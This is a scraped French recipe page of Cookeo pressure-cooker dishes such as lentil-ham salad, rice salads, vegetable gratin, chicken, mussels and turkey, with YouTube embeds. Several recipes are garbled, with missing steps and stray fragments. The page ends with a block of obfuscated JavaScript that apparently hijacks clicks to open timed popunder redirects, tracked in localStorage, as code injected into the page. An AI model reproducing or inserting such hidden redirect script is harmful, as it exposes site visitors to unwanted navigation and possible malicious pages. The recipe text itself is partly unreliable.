Salade lentilles jambon recette cookeo

245 CALORIES 6 SP

Ingrédients pour 4 personnes

150 g de lentilles vertes

250 g de tomates cerise

1 échalote

200 g de dés de jambon

Persil

6 cuillères à soupe d’huile

2 cuillères à soupe de vinaigre balsamique

600 ml d’eau

Sel

Poivre

Préparation

Préparez la sauce vinaigrette avec les 6 cuillères à soupe d’huile, les 2 cuillères de vinaigre balsamique.

Coupez l’échalote en morceaux et ajoutez les morceaux d’échalote à la vinaigrette.

Lavez et coupez vos tomates cerise en 2.

Rincez les lentilles.

Déposez les lentilles dans la cuve et versez 600 ml d’eau dessus.

Cuisson rapide ou sous pression

Programmez 10 mn

Quand la cuisson est terminée faites refroidir les lentilles à l’air libre en les déposant dans un saladier

Quand les lentilles ont refroidi versez le vinaigre, l’huile.

Salez et poivrez.

Saupoudrez de thym et de persil.

Versez la cuillère d’ail déshydraté. Mélangez l’ensemble.

Ajoutez les tomates et placez le saladier au frigo

Dégustez froid.

[youtube https://www.youtube.com/watch?v=CvrlJu2slhc&w=560&h=315]

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Salade composée riz haricots verts cookeo

Ingrédients pour 4 à 6 personnes

200 g de riz

200 g de haricots verts congelés

2 coeurs de palmier

1 échalote ou la moitié d’un oignon rouge

2 tomates

1 petite boîte de maïs           

Pour la vinaigrette

5 cuillères à soupe d’huile d’olive

3 cuillères à soupe de vinaigre

1 cuillère à café de moutarde

Sel

Poivre

600 ml d’eau

Préparation 

Coupez l’échalote ou l’oignon  en morceaux

Coupez les cœurs de palmier en morceaux

Dans un bol mélangez le vinaigre , la moutarde, l’huile d’olive . Ajoutez les morceaux  d’oignon ou d’échalote. Salez et poivrez

Passez les tomates sous l’eau et coupez -les en morceaux

Égouttez la boîte de maïs et rincez le maïs

Passez les œufs sous l’eau

Mode dorer

Déposez dans la cuve le riz et les œufs

Versez de l’eau dans la cuve

Cuisson rapide ou sous pression

Programmez 5mn

Quand la cuisson est terminée égouttez la cuve. Passez le riz et les œufs sous l’eau froide .

 Ecalez les œufs .

Déposez le riz ,les œufs, le maïs , les morceaux de tomates, les cœurs de palmier,dans un saladier .

Déposez le saladier pendant 2h. Sortez le saladier et servez avec la sauce

[youtube https://www.youtube.com/watch?v=KgM68Lw5S5Q&w=560&h=315]

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Gratin de légumes recette cookeo

Ingrédients pour 4 personnes

800 g de courgettes (3 à 4 courgettes)

500 g de pommes de terre (4 pommes de terre environ)

100 g de gruyère râpé

300 g de tomates (3 à 4 tomates environ)

1 cuillère à soupe de moutarde

Sel

Poivre

200 ml d’eau

100 ml de vin blanc

1 petite boite de purée de tomates 200 g

Préparation

Lavez les tomates ,les courgettes .

Coupez les courgettes en morceaux.

Coupez les tomates en rondelles

Epluchez les pommes de terre ,passez les sous l’eau et coupez les en morceaux .

Ajoutez une cuillère à soupe de moutade avec la purée de tomates

Faites préchauffer le four à 200°

Ajoutez les morceaux de courgettes et de pommes de terre dans la cuve 

Salez et poivrez.

Versez les 200 ml d’eau 

Cuisson rapide ou sous pression programmez 3 mn

Quand la cuisson est terminée égouttez la cuve et déposez les légumes dans un plat qui va au four.

Versez le vin blanc dans le plat

Répartissez la pulpe de tomates dans le plat

Ajoutez les rondelles de tomates

Saupoudrez de gruyère râpé 

Enfournez pendant 20 mn à 180°

Passez en position grill pendant 10 m pour un aspect doré

[youtube https://www.youtube.com/watch?v=jOzIf9FeT4w&w=560&h=315]

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Escalopes poulet haricots paprika cookeo

320 CALORIES 4 SP

Ingrédients pour 4 personnes

400 g d’escalopes de poulet

200 g de champignons de Paris

800 g de haricots verts frais ou congelés

2 cuillères à soupe d’huile

200 ml de crème fraîche

1 cube de bouillon de bœuf

Paprika

Sel

Poivre

Préparation

Coupez les escalopes de poulet en morceaux

Passez les champignons sous l’eau et émincez-les

Mode dorer

Versez l’huile dans la cuve, quand l’huile est chaude faites dorer les morceaux d’escalopes de poulet.

Saupoudrez de paprika

Ajoutez les haricots verts et les champignons de Paris.

Versez un bouillon composé de 200 ml d’eau et d’un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 5 mn.

Quand la cuisson est terminée égouttez votre cuve.

Redéposez les ingrédients dans la cuve et ajoutez la crème fraîche. Saupoudrez à nouveau avec du paprika.

Servez chaud

[youtube https://www.youtube.com/watch?v=q4WKJTI9GI4&w=560&h=315]

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Moules tomates recettes cookeo

Ingrédients pour 4 personnes

2 kgs de moules(plus selon vos convives)

100 ml d’eau

100 ml de vin blanc

1 petite boite de tomates peléees

2 cuillères à soupe d’huile d’olive ou autres

1 oignon

2 gousses d’ail

Sel

Poivre

Préparation

Lavez et grattez les moules si nécessaire.

Dégermez les gousses d’ail

Mode dorer

Versez l’huile dans la cuve .Quand l’huile est chaude faites revenir les morceaux d’oignon.

Versez dans la cuve l’eau, le vin blanc et les tomates pelées.

Ajouetz les moules

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 3 mn

Servez chaud

[youtube https://www.youtube.com/watch?v=o5Ljtdmgl1g&w=560&h=315]

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Chou blanc aux lardons recette cookeo

270 CALORIES 9 SP

Ingrédients pour 4 personnes

1 chou blanc

100 ml de vin blanc

1 oignon

200 g de lardons natures

1 cube de bouillon de bœuf

1 cuillère à soupe d’huile

Sel

Poivre

Quelques graines de genièvre

Préparation

Passez le chou blanc sous l’eau puis coupez le en lanières.

Coupez l’oignon en morceaux

Déposez les lanières de chou blanc dans la cuve .

Versez de l’eau pour recouvrir le chou .

Déposez un cube de bouillon de bœuf et quelques graines de genièvre

Salez et poivrez.

Cuisson rapide ou sous pression

Programmez 12   mn

Quand la cuisson est terminée égouttez la cuve et rincez la .

Redéposez la cuve dans le cookeo puis passez en mode dorer.

Versez l’huile dans la cuve et déposez les lardons puis ajoutez les morceaux d’oignons au bout de 2 mn.

Quand les lardons sont bien dorés ajoutez le chou blanc cuit ,versez le vin blanc et laissez revenir 5 bonnes minutes

Servez chaud

[youtube https://www.youtube.com/watch?v=cguMvf5yu_Q&w=560&h=315]

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Cuisses poulet légumes recette cookeo

Ingrédients pour 4 personnes

4 cuisses de poulet

400 g de courgettes

4 pommes de terre

1 échalote

1 cuillère à soupe de vinaigre

1 petite boite de tomates pelées

2 cuillères à soupe d’épices à colombo

2 cuillères à soupe d’huile

1 gousse d’ail ou 1 cuillères à soupe d’ail déshydraté

Quelques feuilles de persil

Sel

Poivre

10 ml de jus de citron

200 ml d’eau

Préparation

Coupez l’ail en morceaux .

Lavez et coupez les courgettes en morceaux.

Lavez et ciselez le persil

Epluchez ,passez les pommes de terre sous l’eau puis coupez les en morceaux.

Mode dorer

Versez l’huile dans la cuve et faites dorer les cuisses de poulet.

Ajoutez les morceaux d’ail.

Ajoutez les épices à colombo.

Versez 200 ml d’eau .

Versez le jus de citron et le vinaigre

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 15 mn .

Quand la cuisson est terminée ajoutez les légumes (pommes de terre ,tomates pelées ,courgettes).

Reprogrammez 5 mn de cuisson rapide ou sous pression

Servez chaud (vous pouvez accompagner avec du riz par exemple)

[youtube https://www.youtube.com/watch?v=q7AX3M3-1ro&w=560&h=315]

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Spaghettis knackis tomates recette cookeo

Ingrédients pour 4 personnes

400 g de spaghettis

8 knackis

1 petite boite de tomates pelées

2 cuillères à soupe de crème fraîche

2 cuillères à soupe de concentré de tomates

Sel

Poivre

Curry

Eau (recouvrir les spaghettis)

Préparation

Coupez les knackis en morceaux

Déposez les spaghettis dans la cuve

Ajoutez les tomates pelées dans la cuve

Ajoutez les knackis coupées en morceaux

Recouvrez les ingrédients d’eau.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de spaghettis divisé par 2

Quand la cuisson est terminée ajoutez la crème fraîche et le concentré de tomates. Mélangez et servez chaud

[youtube https://www.youtube.com/watch?v=dryZQFkSEzI&w=560&h=315]

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Salade composée riz oeufs cookeo

Ingrédients pour 4 à 6 personnes

200 g de riz

4 œufs

3 coeurs de palmier

1 échalote ou la moitié d’un oignon rouge

2 tomates

Pour la vinaigrette

5 cuillères à soupe d’huile d’olive

3 cuillères à soupe de vinaigre

1 cuillère à café de moutarde

Sel

Poivre

600 ml d’eau

Coupez les cœurs de palmier en morceaux

Passez les tomates sous l’eau et coupez les en morceaux

le maïs

Passez les œufs sous l’eau

Mode dorer

Déposez dans la cuve le riz et les œufs

Versez de l’eau dans la cuve

Cuisson rapide ou sous pression

Programmez 5mn

Quand la cuisson est terminée égouttez la cuve. Passez le riz et les œufs sous l’eau froide .

Déposez le riz ,les œufs, le maïs , les morceaux de tomates, les cœurs de palmier,dans un saladier .

Déposez le saladier pendant 2h. Sortez le saladier et servez avec la sauce

[youtube https://www.youtube.com/watch?v=UGUU-44lnyE&w=560&h=315]

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Mijotés de dinde au curry recette cookeo

Ingrédients pour 4 personnes

1200 g de dinde à mijoter

1 petite boite de tomates pelées

100 g d’oignons

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de bœuf

1 cuillère à soupe de moutarde

Curry

100 g de crème fraîche

1 Cuillère à soupe de maïzena

300 ml d’eau

Préparation

Coupez les oignons en morceaux

Préparez un bouillon avec 200 ml d’eau et un cube de bœuf émietté

Mode dorer

Versez l’huile dans la cuve et faites dorer les morceaux de dinde.

Ajoutez ensuite les morceaux d’oignons pour les faire dorer

Salez et poivrez selon votre convenance.

Saupoudrez de curry.

Ajoutez les tomates pelées.

Cuisson rapide ou sous pression

Programmez 25 mn

Quand la cuisson est terminée ajoutez la moutarde et la crème fraîche.

Ajoutez ensuite la cuillère de maïzena et passez en mode dorer

Quand la sauce a épaissi arrêtez votre cookeo.

Servez chaud

[youtube https://www.youtube.com/watch?v=0yD8epcR-3o&w=560&h=315]

[youtube https://www.youtube.com/watch?v=ytb91xwdIQ0&w=560&h=315]

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Rôti de dinde lentilles recette cookeo

Ingrédients pour 4 personnes

1 rôti de dinde (800g)

300 ml d’eau

100 ml de vin blanc

1 oignon

Sel

Poivre

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de volaille

1 petite boite de tomates pelées

1 grosse boite de lentilles

200 g de carottes

Curry

Préparation

Coupez l’oignon en morceaux

Préparez un bouillon avec 300 ml d’eau ,100 ml de vin blanc et un cube de bouillon de volailles.

Mode dorer

Versez l’huile d’olive dans la cuve. Quand l’huile est chaude faites dorer le rôti sur toutes ses faces.

Faites ensuite dorer les oignons .

Versez le bouillon préparé dans la cuve.

Salez et poivrez selon votre convenance.

Saupoudrez de curry

Cuisson sous pression ou cuisson rapide

Programmez 25 mn

Quand la cuisson est terminée déposez les lentilles,les tomates pelées et les carottes dans la cuve et reprogrammez une cuisson pour 5 Mn .

Vous pouvez si vous le souhaitez ajouter du concentré de tomates

tranches.

Salade pommes de terre concombre cookeo

Ingrédients

600 g de pommes de terre

80 g de mozzarella

1 tomate

1 concombre

150 g de crème fraîche

20 ml de jus de citron

1 cuillère à soupe de moutarde

300 ml d’eau

Sel

Poivre

Préparation

Epluchez, passez les pommes de terre sous l’eau puis coupez-les en morceaux.

Coupez le concombre en morceaux

Coupez la mozzarella et la tomate en morceaux

Egouttez les cœurs d’artichauts et coupez-les en morceaux.

Préparez une sauce avec 3 cuillères à soupe de crème fraîche et le jus de citron. Ajoutez du sel et du poivre.

Déposez les morceaux de pommes de terre dans la cuve.

Versez l’eau et ajoutez une pincée de sel.

Cuisson rapide ou sous pression

Programmez 4 mn

Quand la cuisson est terminée égouttez la cuve et laissez refroidir les pommes de terre à l’air libre.

Quand les pommes de terre sont refroidies déposez les dans un saladier avec les cœurs d’artichauts, les rondelles de concombre.

Placez la sauce et le saladier dans le frigo pour au moins 2 h.

Sortez le saladier et la sauce. Versez la sauce dans le saladier et mélangez.

Servez aussitôt

[youtube https://www.youtube.com/watch?v=dcnG3AA-8ac&w=560&h=315]

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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());